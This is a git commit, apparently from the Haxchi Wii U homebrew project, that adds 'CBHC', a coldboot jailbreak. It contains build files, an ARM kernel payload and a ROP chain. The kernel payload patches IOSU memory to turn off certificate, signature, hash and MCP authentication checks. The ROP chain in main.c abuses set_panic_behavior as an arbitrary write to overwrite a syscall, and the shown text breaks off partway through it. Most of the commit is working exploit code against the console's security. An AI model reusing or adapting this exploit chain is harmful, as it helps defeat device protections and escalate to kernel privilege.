CBHC (ColdBoot HaxChi) v1.0 now available! BE VERY CAREFUL AND ONLY USE IF YOU KNOW THE NORMAL HAXCHI WORKS FINE BEFORE INSTALLING THIS

updated main Haxchi to v2.3
This commit is contained in:
FIX94 2016-12-10 06:11:17 +01:00
parent 50974331ce
commit d29e796167
38 changed files with 2330 additions and 61 deletions

20
Build_CBHC.bat Normal file
View File

@ -0,0 +1,20 @@
@echo off
cd installer
mkdir data 2>/nul
cd ../dsrom
echo.
echo Building DS ROMs
echo.
make clean
make Windows_NT=1 CB=1
cd ../installer
echo.
echo Building WiiU Installer
echo.
make clean
make CB=1
echo.
pause

44
dsrom/CBHC/Makefile Normal file
View File

@ -0,0 +1,44 @@
PATH := $(DEVKITPPC)/bin:$(PATH)
PREFIX ?= powerpc-eabi-
CC = $(PREFIX)gcc
AS = $(PREFIX)gcc
CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include
ASFLAGS = -mregnames -x assembler-with-cpp
LD = $(PREFIX)ld
OBJCOPY = $(PREFIX)objcopy
LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc
OBJDUMP ?= $(PREFIX)objdump
project := .
root := $(CURDIR)
build := $(root)/bin
FIRMWARE = 550
all: clean setup main
$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/arm_user_bin.h
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile
@-mkdir -p $(CURDIR)/payload
@cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@
$(CURDIR)/payload/arm_user_bin.h:
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile
@-mkdir -p $(CURDIR)/payload
@cp -p $(CURDIR)/arm_user/arm_user_bin.h $@
setup:
mkdir -p $(root)/bin/
main: $(CURDIR)/payload/arm_kernel_bin.h
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
cp -r $(root)/*.o $(build)
rm $(root)/*.o
$(LD) -o CBHC.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map CBHC.map
$(OBJCOPY) CBHC.elf -S -O binary ../CBHC.bin
clean:
rm -rf $(build) payload
rm -rf CBHC.elf CBHC.map
$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean

2
dsrom/CBHC/README Normal file
View File

@ -0,0 +1,2 @@
This is a modified version of cfw booter which can be found here:
https://github.com/dimok789/cfw_booter

View File

@ -0,0 +1,71 @@
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
export PATH:=$(DEVKITARM)/bin:$(PATH)
endif
CC = arm-none-eabi-gcc
# LINK = arm-none-eabi-gcc
LINK = arm-none-eabi-ld
AS = arm-none-eabi-as
OBJCOPY = arm-none-eabi-objcopy
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
CFILES = $(wildcard source/*.c)
BINFILES = $(wildcard data/*.bin)
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
OFILES += $(CFILES:source/%.c=build/%.o)
DFILES = $(CFILES:source/%.c=build/%.d)
SFILES = $(wildcard source/*.s)
OFILES += $(SFILES:source/%.s=build/%.o)
PROJECTNAME = ${shell basename "$(CURDIR)"}
CWD = "$(CURDIR)""
#---------------------------------------------------------------------------------
# canned command sequence for binary data, taken from devkitARM
#---------------------------------------------------------------------------------
define bin2o
bin2s $< | $(AS) -o $(@)
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
endef
.PHONY:=all dirs
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
dirs:
@mkdir -p build
$(PROJECTNAME).bin: $(PROJECTNAME).elf
# $(OBJCOPY) -O binary $< $@
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
$(PROJECTNAME).elf: $(OFILES)
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
clean:
@rm -rf build
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
@echo "all cleaned up !"
-include $(DFILES)
build/%.o: source/%.c
$(CC) $(CFLAGS) -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.o: source/%.s
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.bin.o: data/%.bin
@echo $(notdir $<)
@$(bin2o)

View File

@ -0,0 +1,18 @@
OUTPUT_ARCH(arm)
MEMORY
{
RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00
}
SECTIONS
{
.text : ALIGN(0x100) {
build/crt0.o(.init)
*(.text)
}
.rodata : {
*(.rodata*)
}
}

View File

@ -0,0 +1,12 @@
.section ".init"
.arm
.align 4
.extern _main
.type _main, %function
.extern memset
.type memset, %function
_start:
b _main

View File

@ -0,0 +1,163 @@
#include "types.h"
#include "utils.h"
#include "../../payload/arm_user_bin.h"
static const char repairData_set_fault_behavior[] = {
0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00,
0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02,
0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D,
};
static const char repairData_set_panic_behavior[] = {
0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70,
0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00,
0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4,
0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94,
0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E,
0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00,
0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00,
};
static const char repairData_usb_root_thread[] = {
0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10,
0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3,
0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90,
0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8,
0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0,
0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03,
0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20,
};
/* from smealum's iosuhax: must be placed at 0x05059938 */
static const char os_launch_hook[] = {
0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb,
0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f,
0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30,
0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08,
0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61,
0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63,
0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64,
0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00,
0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e,
};
static const char sd_path[] = "/vol/sdcard";
static unsigned int __attribute__((noinline)) disable_mmu(void)
{
unsigned int control_register = 0;
asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register));
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA));
return control_register;
}
static void __attribute__((noinline)) restore_mmu(unsigned int control_register)
{
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register));
}
int _main()
{
int(*disable_interrupts)() = (int(*)())0x0812E778;
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
void(*invalidate_icache)() = (void(*)())0x0812DCF0;
void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164;
void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160;
char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04;
flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache
int level = disable_interrupts();
unsigned int control_register = disable_mmu();
/* Save the request handle so we can reply later */
*(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18;
/* Patch kernel_error_handler to BX LR immediately */
*(volatile u32*)0x08129A24 = 0xE12FFF1E;
void * pset_fault_behavior = (void*)0x081298BC;
kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior));
void * pset_panic_behavior = (void*)0x081296E4;
kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior));
void * pusb_root_thread = (void*)0x10100174;
kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
void * pUserBinSource = (void*)0x01E50000;
void * pUserBinDest = (void*)0x101312D0;
kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin));
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
// patch cached cert check
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, 0
*(volatile u32*)(0x05054D70 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
// patch cert verification
*(volatile u32*)(0x05052A90 - 0x05000000 + 0x081C0000) = 0xe3a00000; // mov r0, #0
*(volatile u32*)(0x05052A94 - 0x05000000 + 0x081C0000) = 0xe12fff1e; // bx lr
// patch MCP authentication check
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
// patch IOSC_VerifyPubkeySign to always succeed
*(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
// patch OS launch sig check
*(volatile u32*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0
// patch default title id
*(volatile u32*)(0x050B817C - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70100;
*(volatile u32*)(0x050B8180 - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70104;
// allow custom bootLogoTex and bootMovie.h264
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
// allow any region title launch
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
// nop out memcmp hash checks
*(volatile u32*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0
//custom fw.img reboot
if(*(volatile u32*)0x01E70120 == 1)
{
int i;
for (i = 0; i < 32; i++)
if (i < 11)
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i];
else
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0;
*(volatile u32*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook
for (i = 0; i < sizeof(os_launch_hook); i++)
((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i];
// change system.xml to syshax.xml
*(volatile u32*)(0x050600F0 - 0x05060000 + 0x08220000) = 0x79736861; //ysha
*(volatile u32*)(0x050600F4 - 0x05060000 + 0x08220000) = 0x782E786D; //x.xm
*(volatile u32*)(0x05060114 - 0x05060000 + 0x08220000) = 0x79736861; //ysha
*(volatile u32*)(0x05060118 - 0x05060000 + 0x08220000) = 0x782E786D; //x.xm
}
*(volatile u32*)(0x1555500) = 0;
/* REENABLE MMU */
restore_mmu(control_register);
invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache
invalidate_icache();
enable_interrupts(level);
return 0;
}

View File

@ -0,0 +1,16 @@
#ifndef _TYPES_H
#define _TYPES_H
#include <stdint.h>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
#endif

View File

@ -0,0 +1,25 @@
void* m_memcpy(void *dst, const void *src, unsigned int len)
{
const unsigned char *src_ptr = (const unsigned char *)src;
unsigned char *dst_ptr = (unsigned char *)dst;
while(len)
{
*dst_ptr++ = *src_ptr++;
--len;
}
return dst;
}
void* m_memset(void *dst, int val, unsigned int bytes)
{
unsigned char *dst_ptr = (unsigned char *)dst;
unsigned int i = 0;
while(i < bytes)
{
dst_ptr[i] = val;
++i;
}
return dst;
}

View File

@ -0,0 +1,7 @@
#ifndef _UTILS_H_
#define _UTILS_H_
void* m_memcpy(void *dst, const void *src, unsigned int len);
void* m_memset(void *dst, int val, unsigned int len);
#endif

View File

@ -0,0 +1,71 @@
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
export PATH:=$(DEVKITARM)/bin:$(PATH)
endif
CC = arm-none-eabi-gcc
# LINK = arm-none-eabi-gcc
LINK = arm-none-eabi-ld
AS = arm-none-eabi-as
OBJCOPY = arm-none-eabi-objcopy
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
CFILES = $(wildcard source/*.c)
BINFILES = $(wildcard data/*.bin)
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
OFILES += $(CFILES:source/%.c=build/%.o)
DFILES = $(CFILES:source/%.c=build/%.d)
SFILES = $(wildcard source/*.s)
OFILES += $(SFILES:source/%.s=build/%.o)
PROJECTNAME = ${shell basename "$(CURDIR)"}
CWD = "$(CURDIR)""
#---------------------------------------------------------------------------------
# canned command sequence for binary data, taken from devkitARM
#---------------------------------------------------------------------------------
define bin2o
bin2s $< | $(AS) -o $(@)
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
endef
.PHONY:=all dirs
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
dirs:
@mkdir -p build
$(PROJECTNAME).bin: $(PROJECTNAME).elf
# $(OBJCOPY) -O binary $< $@
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
$(PROJECTNAME).elf: $(OFILES)
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
clean:
@rm -rf build
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
@echo "all cleaned up !"
-include $(DFILES)
build/%.o: source/%.c
$(CC) $(CFLAGS) -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.o: source/%.s
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.bin.o: data/%.bin
@echo $(notdir $<)
@$(bin2o)

View File

@ -0,0 +1,18 @@
OUTPUT_ARCH(arm)
MEMORY
{
RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00
}
SECTIONS
{
.text : ALIGN(0x04) {
build/crt0.o(.init)
*(.text)
}
.rodata : {
*(.rodata*)
}
}

View File

@ -0,0 +1,20 @@
.section ".init"
.arm
.align 4
.extern _main
.type _main, %function
.extern memset
.type memset, %function
_start:
b _main
.global IOS_DCFlushAllCache
IOS_DCFlushAllCache:
MOV R15, R0
clean_loop:
MRC p15, 0, r15, c7, c10, 3
BNE clean_loop
MCR p15, 0, R0, c7, c10, 4

View File

@ -0,0 +1,30 @@
#include "types.h"
#include "utils.h"
void _main()
{
void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C;
int(*reply)(int, int) = (int(*)(int, int))0x1012ED04;
int saved_handle = *(volatile u32*)0x01E10000;
int myret = reply(saved_handle, 0);
if (myret != 0)
ios_shutdown(1);
// stack pointer will be 0x1016AE30
// link register will be 0x1012EACC
asm("LDR SP, newsp\n"
"LDR R0, newr0\n"
"LDR LR, newlr\n"
"LDR PC, newpc\n"
"newsp: .word 0x1016AE30\n"
"newlr: .word 0x1012EACC\n"
"newr0: .word 0x10146080\n"
"newpc: .word 0x10111164\n");
}

View File

@ -0,0 +1,16 @@
#ifndef _TYPES_H
#define _TYPES_H
#include <stdint.h>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
#endif

View File

@ -0,0 +1,25 @@
void* m_memcpy(void *dst, const void *src, unsigned int len)
{
const unsigned char *src_ptr = (const unsigned char *)src;
unsigned char *dst_ptr = (unsigned char *)dst;
while(len)
{
*dst_ptr++ = *src_ptr++;
--len;
}
return dst;
}
void* m_memset(void *dst, int val, unsigned int bytes)
{
unsigned char *dst_ptr = (unsigned char *)dst;
unsigned int i = 0;
while(i < bytes)
{
dst_ptr[i] = val;
++i;
}
return dst;
}

View File

@ -0,0 +1,7 @@
#ifndef _UTILS_H_
#define _UTILS_H_
void* m_memcpy(void *dst, const void *src, unsigned int len);
void* m_memset(void *dst, int val, unsigned int len);
#endif

31
dsrom/CBHC/coreinit.h Normal file
View File

@ -0,0 +1,31 @@
//Taken from libwiius coreinit.h
#ifndef COREINIT_H
#define COREINIT_H
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
#define OSFatal ((void (*)(char* msg))0x01031618)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
typedef struct OSContext
{
/* OSContext identifier */
uint32_t tag1;
uint32_t tag2;
/* GPRs */
uint32_t gpr[32];
/* Special registers */
uint32_t cr;
uint32_t lr;
uint32_t ctr;
uint32_t xer;
/* Initial PC and MSR */
uint32_t srr0;
uint32_t srr1;
} OSContext;
#endif /* COREINIT_H */

9
dsrom/CBHC/crt0.S Normal file
View File

@ -0,0 +1,9 @@
.extern __main
.globl _start
_start:
# jump to our main
bl __main
mtlr r3
blr

892
dsrom/CBHC/main.c Normal file
View File

@ -0,0 +1,892 @@
/*
* Copyright (C) 2016 FIX94
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#include <string.h>
#include "types.h"
#include "coreinit.h"
#include "pad.h"
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
#define SOURCE 0x01E20000
#define IOS_CREATETHREAD 0x1012EABC
#define ARM_CODE_BASE 0x08134100
#define REPLACE_SYSCALL 0x081298BC
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
#include "payload/arm_kernel_bin.h"
#include "payload/arm_user_bin.h"
/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
